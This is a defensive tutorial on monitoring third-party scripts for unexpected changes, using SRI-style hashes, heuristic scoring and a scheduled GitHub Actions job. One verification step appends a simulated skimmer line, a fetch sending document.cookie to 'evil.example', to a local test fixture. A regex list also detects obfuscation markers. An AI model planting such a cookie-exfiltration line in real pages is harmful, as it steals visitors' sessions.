Detecting Changes in Third-Party Scripts

Permalink to "Detecting Changes in Third-Party Scripts"

Part of Third-Party Risk Assessment, this page builds a scheduled monitor that hashes every externally hosted script your pages load, keeps a rolling history of those digests, and tells you the difference between a vendor’s Tuesday release and someone else’s Sunday-night edit.

Quick Reference

Permalink to "Quick Reference"
Control Value Effect
Watch list source script requests from the rendered page Catches tags injected at runtime that an HTML scrape misses
Cache defeat ?_probe=<ts> plus cache-control: no-cache Forces an origin fetch instead of a stale edge copy
Hashed payload the decoded response body Matches what a browser hashes; transport encoding is ignored
Digest format sha384-<base64> Identical to an integrity attribute value
History depth 30 samples per URL Enough to see a vendor’s release cadence
Poll interval every 6 hours PCI DSS v4.0.1 11.6.1 floor for payment pages is 7 days
Alert threshold heuristic score 0–6 1–2 notifies the tag owner, 3+ pages on-call

The monitor is deliberately dumb about content and sharp about change: it never tries to decide whether a script is malicious, only whether its bytes moved and how unusual that movement looks.

The mental model

Permalink to "The mental model"

A third-party tag is a standing permission for someone else’s build pipeline to run code in your origin. You do not control when they ship, what they ship, or who at that vendor can push to the bucket the file is served from. Subresource Integrity solves this cleanly when the vendor gives you an immutable, versioned URL — you pin the hash and the browser refuses anything else. It solves nothing when the vendor serves a rolling URL like https://cdn.vendor.example/tag.js whose bytes are expected to change, because pinning that hash means the tag breaks on the vendor’s next release.

Monitoring is the control for the second case. Instead of asking the browser to reject unexpected bytes, you take your own sample on a schedule, hash it, and compare it against what you saw last time. The digest is a one-bit answer — same or different — and that single bit is enough to convert an invisible, silent change into an event with a timestamp, an owner and a diff. Everything else in the design exists to keep that bit trustworthy: cache-busting so you are not hashing a stale edge copy, hashing the decoded body so a change in the CDN’s compression settings does not look like a code change, and a rolling history so the first sample after a change still has a previous body to diff against.

The output feeds directly into how you rank the vendor. A tag that changes twice a year on a published release calendar is a very different risk from one that changes six times a week at unpredictable hours, and that observed cadence belongs in the inputs described in Scoring Third-Party Script Risk.

Script change monitor pipeline A watch list of script URLs is fetched with cache defeated, the decoded body is hashed with SHA-384, and the digest is compared to the last baseline; matching samples are appended to history while differing samples are classified and alerted on. watch list page + tags fetch cache defeated SHA-384 decoded body compare to last baseline unchanged append history changed classify + alert

Canonical example: the change monitor

Permalink to "Canonical example: the change monitor"

The watch list is the part most teams get wrong. A grep over your HTML templates finds the tags you wrote by hand and misses every script a tag manager injects at runtime, which is usually where the interesting third parties live. Drive a real browser over the pages you care about and record what it actually requests:

// scripts/build-watchlist.mjs — npx playwright install chromium first
import { chromium } from 'playwright';
import { writeFileSync } from 'node:fs';

const PAGES = ['https://shop.example.com/', 'https://shop.example.com/checkout'];
const seen = new Map();

const browser = await chromium.launch();
for (const url of PAGES) {
  const page = await browser.newPage();
  page.on('request', (req) => {
    if (req.resourceType() !== 'script') return;
    const origin = new URL(req.url()).origin;
    if (origin === new URL(url).origin) return; // first-party, covered by the build
    seen.set(req.url(), { url: req.url(), origin, seenOn: url });
  });
  await page.goto(url, { waitUntil: 'networkidle' });
  await page.close();
}
await browser.close();

writeFileSync('watchlist.json', JSON.stringify([...seen.values()], null, 2));
console.log(`${seen.size} third-party script URLs`);

Rebuild the watch list on its own schedule — a new URL appearing is itself a finding, because it means a tag started loading something you never reviewed. Now the monitor. It fetches, hashes, diffs and scores in one pass, with no state outside a directory of JSON files:

// scripts/script-watch.mjs — node >= 20
import { createHash } from 'node:crypto';
import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs';
import { join } from 'node:path';

const WATCH = JSON.parse(readFileSync('watchlist.json', 'utf8'));
const STATE = 'state';
const DEPTH = 30;
const KEY = (u) => createHash('sha256').update(u).digest('hex').slice(0, 16);

const sri = (buf) => 'sha384-' + createHash('sha384').update(buf).digest('base64');

async function sample(url) {
  const probe = new URL(url);
  probe.searchParams.set('_probe', Date.now().toString(36));
  const res = await fetch(probe, {
    redirect: 'follow',
    headers: {
      'cache-control': 'no-cache',
      pragma: 'no-cache',
      'user-agent': 'script-watch/1.0 ([email protected])',
    },
  });
  if (!res.ok) throw new Error(`HTTP ${res.status}`);
  // arrayBuffer() is the DECODED body: gzip/br has already been undone,
  // which is exactly the payload a browser feeds to its SRI check.
  const body = Buffer.from(await res.arrayBuffer());
  return {
    ts: new Date().toISOString(),
    integrity: sri(body),
    bytes: body.length,
    etag: res.headers.get('etag'),
    lastModified: res.headers.get('last-modified'),
    finalUrl: res.url,
    text: body.toString('utf8'),
  };
}

function entropy(s) {
  const freq = new Map();
  for (const ch of s) freq.set(ch, (freq.get(ch) ?? 0) + 1);
  let h = 0;
  for (const n of freq.values()) { const p = n / s.length; h -= p * Math.log2(p); }
  return h; // bits per character
}

const MARKERS = [
  [/\\x[0-9a-f]{2}/gi, 'hex escapes'],
  [/\\u[0-9a-f]{4}/gi, 'unicode escapes'],
  [/String\.fromCharCode/g, 'fromCharCode'],
  [/atob\s*\(/g, 'atob'],
  [/eval\s*\(/g, 'eval'],
  [/new\s+Function\s*\(/g, 'Function constructor'],
  [/document\.write/g, 'document.write'],
];

const hosts = (s) =>
  new Set([...s.matchAll(/https?:\/\/([a-z0-9.-]+)/gi)].map((m) => m[1].toLowerCase()));

async function classify(prev, next) {
  const reasons = [];
  let score = 0;

  const delta = next.bytes - prev.bytes;
  const pct = Math.abs(delta) / prev.bytes;
  if (pct > 0.25) { score += 2; reasons.push(`size delta ${delta > 0 ? '+' : ''}${delta} B (${(pct * 100).toFixed(1)}%)`); }
  else if (pct > 0.05) { score += 1; reasons.push(`size delta ${delta > 0 ? '+' : ''}${delta} B`); }

  const hour = new Date(next.ts).getUTCHours();
  const day = new Date(next.ts).getUTCDay();
  if (day === 0 || day === 6 || hour < 6 || hour > 22) { score += 1; reasons.push(`published outside business hours (${next.ts})`); }

  const added = [...hosts(next.text)].filter((h) => !hosts(prev.text).has(h));
  if (added.length) { score += 2; reasons.push(`new endpoints: ${added.join(', ')}`); }

  for (const [re, label] of MARKERS) {
    const before = (prev.text.match(re) ?? []).length;
    const after = (next.text.match(re) ?? []).length;
    if (after > before * 1.5 && after - before > 5) { score += 1; reasons.push(`${label} ${before} -> ${after}`); }
  }

  const de = entropy(next.text) - entropy(prev.text);
  if (de > 0.4) { score += 1; reasons.push(`entropy +${de.toFixed(2)} bits/char`); }

  // Optional AST pass; the monitor still works without acorn installed.
  try {
    const acorn = await import('acorn');
    const walk = await import('acorn-walk');
    const count = (src) => {
      let n = 0;
      const ast = acorn.parse(src, { ecmaVersion: 'latest', sourceType: 'script' });
      walk.simple(ast, {
        CallExpression(node) { if (node.callee.type === 'Identifier' && ['eval', 'atob'].includes(node.callee.name)) n++; },
        NewExpression(node) { if (node.callee.type === 'Identifier' && node.callee.name === 'Function') n++; },
        Literal(node) { if (typeof node.value === 'string' && node.value.length > 1024) n++; },
      });
      return n;
    };
    const d = count(next.text) - count(prev.text);
    if (d > 0) { score += 1; reasons.push(`dynamic-eval / blob AST nodes +${d}`); }
  } catch { reasons.push('AST pass skipped (parse failed or acorn missing)'); }

  return { score, reasons };
}

mkdirSync(STATE, { recursive: true });
const alerts = [];

for (const entry of WATCH) {
  const file = join(STATE, `${KEY(entry.url)}.json`);
  const history = existsSync(file) ? JSON.parse(readFileSync(file, 'utf8')) : { url: entry.url, samples: [] };
  let next;
  try {
    next = await sample(entry.url);
  } catch (err) {
    console.error(`FETCH-FAIL ${entry.url}: ${err.message}`);
    continue;
  }
  const prev = history.samples.at(-1);

  if (prev && prev.integrity !== next.integrity) {
    const verdict = await classify(prev, next);
    alerts.push({ url: entry.url, from: prev.integrity, to: next.integrity, at: next.ts, ...verdict });
  }
  if (!prev || prev.integrity !== next.integrity) {
    history.samples.push(next);
    history.samples = history.samples.slice(-DEPTH);
    writeFileSync(file, JSON.stringify(history, null, 2));
  }
}

writeFileSync('alert.json', JSON.stringify(alerts, null, 2));
for (const a of alerts) console.log(`CHANGED score=${a.score} ${a.url}\n  ${a.reasons.join('\n  ')}`);
if (alerts.some((a) => a.score >= 3)) process.exit(1);

The rolling history is the point

Permalink to "The rolling history is the point"

Storing only the current digest gives you an alert with nothing to look at. The history file keeps the full body of every distinct version, so the moment a change fires you already have the previous bytes on disk and can produce a diff without racing the vendor to re-fetch the old file — which by then is gone. Thirty entries is enough to read a vendor’s cadence off the timestamps, and because a sample is only appended when the digest actually moves, a stable tag costs one entry per year rather than 1,460.

Rolling digest history for one script URL Six scheduled polls plotted on a timeline; the first four return the same SHA-384 digest, the fifth returns a new digest and raises an alert citing a size increase and a new network endpoint, and the sixth confirms the new digest is now stable. digest stable digest moved hkkH…Sp8e hkkH…Sp8e hkkH…Sp8e hkkH…Sp8e KbP9…DlaZ KbP9…DlaZ Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Sun 03:12 Sun 09:12 score 5 — off-hours, +18 KB, new endpoint, entropy rise

The scheduled job

Permalink to "The scheduled job"

Run it from GitHub Actions and let the repository be the state store. Committing the history back also keeps the schedule alive — GitHub disables scheduled workflows in repositories with no activity for 60 days.

# .github/workflows/script-watch.yml
name: third-party-script-watch

on:
  schedule:
    - cron: '17 */6 * * *'
  workflow_dispatch:

permissions:
  contents: write
  issues: write

jobs:
  watch:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm install --no-save acorn acorn-walk
      - id: watch
        run: node scripts/script-watch.mjs
        continue-on-error: true
      - name: Persist history
        run: |
          git config user.name  "script-watch"
          git config user.email "[email protected]"
          git add state/
          git diff --staged --quiet || git commit -m "script-watch: $(date -u +%FT%TZ)"
          git push
      - name: Page on-call
        if: steps.watch.outcome == 'failure'
        env:
          SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }}
        run: |
          jq -r '.[] | "*\(.url)*\nscore \(.score)\n\(.reasons | join("\n"))"' alert.json \
            | jq -Rs '{text: .}' > slack.json
          curl -sS -X POST -H 'content-type: application/json' --data @slack.json "$SLACK_WEBHOOK_URL"

continue-on-error: true matters: the monitor exits non-zero on a scored change, and you still want the history commit to run so the next poll has a baseline. Scheduled runs are queued on a best-effort basis and can be delayed by tens of minutes under load, so treat the cron interval as a ceiling on freshness, not a guarantee.

Telling a release from a compromise

Permalink to "Telling a release from a compromise"

A digest that moved is not yet an incident. Most movement is the vendor shipping. The classification job is to spend the on-call engineer’s attention only on movement that looks wrong, and the five signals in classify() are chosen because an attacker who has pushed to a vendor CDN tends to trip several at once while a release engineer trips none.

Timing. Vendor releases cluster in that vendor’s working hours. A change first observed at 03:12 UTC on a Sunday is not proof of anything, but it is the cheapest signal you have and it costs one line of code.

Size delta. Injected skimmers are small — a few kilobytes of DOM listeners and an exfiltration call. A minor version bump is usually a fraction of a percent. Both a large jump and a suspiciously precise small addition to an otherwise frozen file are worth reading.

New network endpoints. This is the strongest single signal. Extract every hostname appearing in a URL literal from both bodies and set-difference them. Legitimate releases occasionally add a hostname, and when they do it is a domain that plainly belongs to the vendor. Exfiltration adds one that does not.

Obfuscation markers and entropy. Minified JavaScript already looks like noise, so absolute counts are useless; deltas are not. A jump in \x-escaped strings, a new atob( or new Function(, or a rise of more than roughly 0.4 bits per character in Shannon entropy all indicate that a payload was packed rather than compiled.

AST shape. Parsing the new body with acorn and counting calls to eval/atob, new Function constructions and string literals over a kilobyte catches packed payloads that regular expressions miss, and a parse failure on a file that parsed cleanly last week is itself a finding. Keep the pass optional and wrapped, because vendors do ship module-format changes that a script-mode parse will reject.

Triage decision tree for a detected change A detected byte change is first checked against the vendor changelog or a version bump; a matching change is recorded as a routine release, while an unexplained change is scored by the diff heuristics and routed either to the tag owner or to on-call. byte change detected vendor changelog or version bump? yes no routine release record new baseline run diff heuristics score the change 1–2 3+ notify tag owner review within 24 h page on-call pull tag, then diff

What a real alert looks like

Permalink to "What a real alert looks like"
[
  {
    "url": "https://cdn.vendor.example/analytics/tag.js",
    "from": "sha384-hkkHIJPgijTBKjOKejFBfz1daw4d9oqI+295e2nQ38G7O0nWHlzKvcExoMKvSp8e",
    "to": "sha384-KbP962DMCttV/xaLrFqTdS5Slpbsci/YgkRCWiPVY8gwj3Q7oUe8LmK9bkhnDlaZ",
    "at": "2026-08-02T03:12:41.882Z",
    "score": 5,
    "reasons": [
      "size delta +18432 B (31.4%)",
      "published outside business hours (2026-08-02T03:12:41.882Z)",
      "new endpoints: metrics-cdn.vendor-static.example",
      "hex escapes 3 -> 214",
      "entropy +0.61 bits/char"
    ]
  }
]

Five points from four independent signals is not ambiguous. The runbook, in order: disable the tag at the tag manager or behind its feature flag; if it cannot be removed, serve the last known-good body from your own origin with an integrity attribute pinned to the from digest; capture both bodies from state/ as evidence; open a ticket with the vendor quoting both digests, the observation time and the new hostname; only reinstate the vendor URL once they confirm the change and you have re-reviewed the diff.

Variants

Permalink to "Variants"

Monitor the headers and the page, not only the script

Permalink to "Monitor the headers and the page, not only the script"

PCI DSS v4.0.1 requirement 11.6.1 asks for a mechanism that alerts on unauthorised modification to the HTTP headers and the contents of the payment page as received by the consumer browser, running at least weekly or at a frequency set by a targeted risk analysis. Hash the response headers you care about alongside the body:

const HEADERS = ['content-security-policy', 'strict-transport-security', 'x-frame-options'];
const headerDigest = createHash('sha384')
  .update(HEADERS.map((h) => `${h}:${res.headers.get(h) ?? ''}`).join('\n'))
  .digest('base64');

Requirement 6.4.3 is the paired control — an inventory of every script on the payment page, a written justification for each, and assurance of its integrity. The evidence trail this monitor produces slots into the same file as the CVE evidence described in Mapping CVEs to PCI DSS 6.4.3.

Turn a stable digest into a pin

Permalink to "Turn a stable digest into a pin"

If a URL’s digest has not moved for months, monitoring has told you something better than an alert: the file is effectively immutable and you can stop trusting the network for it. Copy it to your own origin and pin it, which is the approach set out in Self-Hosting Third-Party Scripts:

<script
  src="https://assets.example.com/vendor/tag.2026-08-01.js"
  integrity="sha384-hkkHIJPgijTBKjOKejFBfz1daw4d9oqI+295e2nQ38G7O0nWHlzKvcExoMKvSp8e"
  crossorigin="anonymous"
  defer></script>

Keep the monitor pointed at the vendor’s original URL afterwards so you still learn when upstream ships, rather than silently freezing on a version that stops receiving fixes.

Verify with a second implementation

Permalink to "Verify with a second implementation"

A monitor that agrees only with itself can drift. Cross-check any digest by hand with the same command line you would use to generate a pin, per Generating SRI Hashes with OpenSSL and shasum:

curl -sS --compressed "https://cdn.vendor.example/analytics/tag.js" \
  | openssl dgst -sha384 -binary \
  | openssl base64 -A

--compressed makes curl decode the body before it reaches the pipe, which is what makes this comparable to the monitor’s digest.

Gotchas and Edge Cases

Permalink to "Gotchas and Edge Cases"
  • A cache-busting query parameter can change the response. Some vendors route on the query string, and signed CDN URLs reject an extra parameter outright with a 403. Test the probe parameter against each host before trusting it, and fall back to cache-control: no-cache plus a Vary-aware request when the URL is signed.

  • Hash the decoded body, never the wire bytes. If you hash whatever the socket delivered, a CDN switching from gzip to Brotli changes every digest overnight and buries you in false alerts. res.arrayBuffer() in Node and curl --compressed both give you the decoded payload — the same one a browser hands to its integrity check, and the same one described in Base64 Encoding Rules for SRI Hashes.

  • Omitting crossorigin="anonymous" on a cross-origin tag silently kills the check. Without it the browser makes a no-CORS request, the response is opaque, and an integrity attribute on an opaque response causes the resource to be blocked rather than verified. Every cross-origin <script> or <link> you pin must carry both attributes, and the vendor origin must send Access-Control-Allow-Origin.

  • Geography and A/B buckets produce phantom changes. A monitor running from one CI region sees one edge POP. Vendors also ship staged rollouts, so the digest can flip back and forth between two values for days. Treat an alternation between two known digests as a rollout, not an incident, and consider polling from two regions before believing a single sample.

  • The monitor is blind to what the script does after it loads. A tag that has always been malicious, or one that pulls its payload from a second request at runtime, produces a perfectly stable digest. Pair byte monitoring with runtime evidence such as Alerting on SRI Failures from CSP Reports and a connect-src allowlist that reports unexpected destinations.

Verification Steps

Permalink to "Verification Steps"

1. Confirm the watch list sees runtime-injected tags

Permalink to "1. Confirm the watch list sees runtime-injected tags"
node scripts/build-watchlist.mjs && jq -r '.[].url' watchlist.json | sort

Expected output includes hosts you never wrote into a template — a container script and everything it loads, which is the whole point of building the list from a rendered page rather than from source. Cross-check the container’s own tag inventory against this list; the technique is covered in Applying SRI to Google Tag Manager.

2. Prove the first run establishes a baseline and the second is silent

Permalink to "2. Prove the first run establishes a baseline and the second is silent"
node scripts/script-watch.mjs; echo "exit: $?"
node scripts/script-watch.mjs; echo "exit: $?"

Both runs should print no CHANGED lines and exit 0. The first creates one file per URL under state/; the second must not append a sample, because an unchanged digest is not recorded.

3. Force a change and confirm it scores

Permalink to "3. Force a change and confirm it scores"

Point one watch list entry at a local file you control, take a baseline, then edit it:

python3 -m http.server 8080 --directory ./fixture &
node scripts/script-watch.mjs
printf 'fetch("https://evil.example/c?d="+document.cookie);' >> fixture/tag.js
node scripts/script-watch.mjs; echo "exit: $?"

Expected output names the new endpoint and exits non-zero:

CHANGED score=3 http://127.0.0.1:8080/tag.js
  size delta +51 B
  new endpoints: evil.example

4. Confirm the scheduled job persists state

Permalink to "4. Confirm the scheduled job persists state"

Trigger the workflow manually with gh workflow run script-watch.yml, then check that the run produced a commit touching state/. If it did not, the job lacks contents: write permission and every run will re-baseline from empty — which means it can never detect anything.

Frequently Asked Questions

Permalink to "Frequently Asked Questions"
Why not just put an integrity attribute on the third-party tag instead?

Do that wherever the vendor ships a versioned, immutable URL. Most analytics and payment tags do not: they serve a rolling URL whose bytes change without notice, so a pinned hash would break the tag on every vendor release. Monitoring is the control you use when pinning is not available, and it is also how you discover that a vendor has quietly started shipping mutable bytes.

How often should the monitor run?

PCI DSS v4.0.1 requirement 11.6.1 sets the floor for payment pages at least once every seven days, or at a frequency justified by a targeted risk analysis. Seven days is a long time to serve attacker-controlled bytes, so a six-hour or hourly cadence is common. The cost is a handful of HTTP requests, so pick the interval your alert triage can absorb.

The digest changes on every fetch. What is wrong?

The vendor is templating something per-request into the body: a request id, a timestamp, a rotating shard hostname or an A/B bucket. Log two consecutive bodies and diff them to find the volatile span, then normalise it with a replace before hashing. Record the normalisation in the watch list entry so the next reader knows the digest is canonical, not raw.

Does this satisfy PCI DSS requirement 11.6.1 on its own?

No. 11.6.1 covers change and tamper detection for the HTTP headers and the contents of the payment page as received by the consumer browser, which is broader than the bytes of the external scripts it loads. A script monitor is a strong component of that mechanism, but you also need header monitoring and page-content monitoring, plus the script inventory and authorisation that requirement 6.4.3 asks for.

What should the on-call engineer do first when an alert fires?

Reduce exposure before investigating. Disable the tag at the tag manager or flip the feature flag that renders it, which takes effect faster than a deploy. If the tag cannot be removed, repoint it at the last known-good copy from the history store, served from your own origin with an integrity attribute. Only then diff the change, notify the vendor and preserve both bodies as evidence.

Permalink to "Related"

Related Articles

Scoring Third-Party Script Risk
Third-Party Risk Assessment Supply Chain Auditing & Depend…